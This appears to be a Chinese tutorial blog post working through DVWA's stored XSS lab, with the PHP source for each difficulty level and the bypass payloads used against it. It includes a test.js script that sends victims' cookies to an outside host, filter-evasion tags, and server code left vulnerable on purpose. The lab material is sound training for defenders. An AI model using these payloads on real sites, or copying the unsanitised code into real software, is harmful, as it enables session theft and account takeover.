dvwa-XSS (Stored)

LOW

XSS存儲(chǔ)型攻擊,惡意代碼被保存到目標(biāo)網(wǎng)站的服務(wù)器中拧粪,這種攻擊具有較強(qiáng)的穩(wěn)定性和持久性修陡,比較常見場(chǎng)景是在博客,論壇可霎、OA魄鸦、CRM等社交網(wǎng)站上,比如:某CRM系統(tǒng)的客戶投訴功能上存在XSS存儲(chǔ)型漏洞癣朗,黑客提交了惡意攻擊代碼拾因,當(dāng)系統(tǒng)管理員查看投訴信息時(shí)惡意代碼執(zhí)行,竊取了客戶的資料旷余,然而管理員毫不知情绢记,這就是典型的XSS存儲(chǔ)型攻擊


image.png

點(diǎn)擊會(huì)返回查詢結(jié)果
如果輸入<script>alert('xss')</script>


image.png

查看一下數(shù)據(jù)庫


image.png

也就是有注入漏洞了。于是 Hacker 再輸入了 <script src="http://www.a.com/test.js"></script>

//test.js
var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
document.body.appendChild(img);

然后所有看到這條信息的用戶的 cookies 就會(huì)被偷走了正卧。 而低級(jí)的代碼是這樣的蠢熄,沒有做任何的防護(hù)
源碼

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

相關(guān)函數(shù)

stripslashes

image.png

addslashes() 函數(shù)

image.png

medium

把存在數(shù)據(jù)庫中的js語句刪除才能做更高一等級(jí)的題


image.png

源碼

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

strip_tags() 函數(shù)

image.png

addslashes() 函數(shù)

image.png

mysql_real_escape_string 函數(shù),對(duì)",',\r等特殊符號(hào)轉(zhuǎn)義
htmlspecialchars 炉旷,對(duì) html 相關(guān)的字符轉(zhuǎn)義
但是
name 字段只有去掉 script 字符串 和用mysql_real_escape_string函數(shù)進(jìn)行轉(zhuǎn)義
所有可以利用 name 字段注入
輸入在 Name 字段輸入 前端那里有個(gè)字符長(zhǎng)度的限制签孔。你可以用火狐直接將 maxlength 改大,或者用 brupSuite 的改就可以了窘行。 所以這代碼最后還是可以被注入的骏啰。
image.png

<scri<script>pt>alert('xss')</script>
image.png

看一下數(shù)據(jù)庫
image.png

高級(jí)代碼 對(duì) name 的驗(yàn)證有所改變

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

<img src=1 onerror=alert(/xss/)>


image.png

image.png

impossible

源碼

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

anti-token 機(jī)制防 CSRF 攻擊
使用 db->prepare 預(yù)編譯,綁定參數(shù)的方式抽高,防 SQL 攻擊
name 和 message 參數(shù)通過 htmlspecialchars 等函數(shù)防御
相關(guān)函數(shù)

trim()

image.png

stripslashes

image.png

htmlspecialchars ,對(duì) html 相關(guān)的字符轉(zhuǎn)義

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末透绩,一起剝皮案震驚了整個(gè)濱河市翘骂,隨后出現(xiàn)的幾起案子壁熄,更是在濱河造成了極大的恐慌,老刑警劉巖碳竟,帶你破解...
    沈念sama閱讀 216,692評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件草丧,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡莹桅,警方通過查閱死者的電腦和手機(jī)昌执,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,482評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來诈泼,“玉大人懂拾,你說我怎么就攤上這事☆泶铮” “怎么了岖赋?”我有些...
    開封第一講書人閱讀 162,995評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)瓮孙。 經(jīng)常有香客問我唐断,道長(zhǎng),這世上最難降的妖魔是什么杭抠? 我笑而不...
    開封第一講書人閱讀 58,223評(píng)論 1 292
  • 正文 為了忘掉前任脸甘,我火速辦了婚禮,結(jié)果婚禮上偏灿,老公的妹妹穿的比我還像新娘丹诀。我一直安慰自己,他們只是感情好菩混,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,245評(píng)論 6 388
  • 文/花漫 我一把揭開白布忿墅。 她就那樣靜靜地躺著,像睡著了一般沮峡。 火紅的嫁衣襯著肌膚如雪疚脐。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,208評(píng)論 1 299
  • 那天邢疙,我揣著相機(jī)與錄音棍弄,去河邊找鬼。 笑死疟游,一個(gè)胖子當(dāng)著我的面吹牛呼畸,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播颁虐,決...
    沈念sama閱讀 40,091評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼蛮原,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了另绩?” 一聲冷哼從身側(cè)響起儒陨,我...
    開封第一講書人閱讀 38,929評(píng)論 0 274
  • 序言:老撾萬榮一對(duì)情侶失蹤花嘶,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后蹦漠,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體椭员,經(jīng)...
    沈念sama閱讀 45,346評(píng)論 1 311
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,570評(píng)論 2 333
  • 正文 我和宋清朗相戀三年笛园,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了隘击。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,739評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡研铆,死狀恐怖埋同,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情蚜印,我是刑警寧澤莺禁,帶...
    沈念sama閱讀 35,437評(píng)論 5 344
  • 正文 年R本政府宣布,位于F島的核電站窄赋,受9級(jí)特大地震影響哟冬,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜忆绰,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,037評(píng)論 3 326
  • 文/蒙蒙 一浩峡、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧错敢,春花似錦翰灾、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,677評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至亚享,卻和暖如春咽块,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背欺税。 一陣腳步聲響...
    開封第一講書人閱讀 32,833評(píng)論 1 269
  • 我被黑心中介騙來泰國(guó)打工侈沪, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人晚凿。 一個(gè)月前我還...
    沈念sama閱讀 47,760評(píng)論 2 369
  • 正文 我出身青樓亭罪,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親歼秽。 傳聞我的和親對(duì)象是個(gè)殘疾皇子应役,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,647評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • XSS XSS,全稱Cross Site Scripting,即跨站腳本攻擊箩祥,某種意義上也是一種注入攻擊呻惕,是指攻擊...
    網(wǎng)絡(luò)安全自修室閱讀 2,665評(píng)論 0 5
  • (一)XSS跨站腳本攻擊 參考:XSS站腳本攻擊 (1)XSS簡(jiǎn)介 XSS攻擊全稱跨站腳本攻擊(Cross Sit...
    肆意咯咯咯閱讀 3,548評(píng)論 4 3
  • XSS攻擊需要具備兩個(gè)條件:需要向web頁面注入惡意代碼;這些惡意代碼能夠被瀏覽器成功的執(zhí)行XSS反射型漏洞 反射...
    id_rsa閱讀 1,813評(píng)論 0 0
  • XSS滥比,全稱Cross Site Scripting,即跨站腳本攻擊做院,某種意義上也是一種注入攻擊盲泛,是指攻擊者在頁面...
    BerL1n閱讀 1,042評(píng)論 0 0
  • Modern people are very important to privacy, such as pict...
    Blue_936d閱讀 309評(píng)論 0 0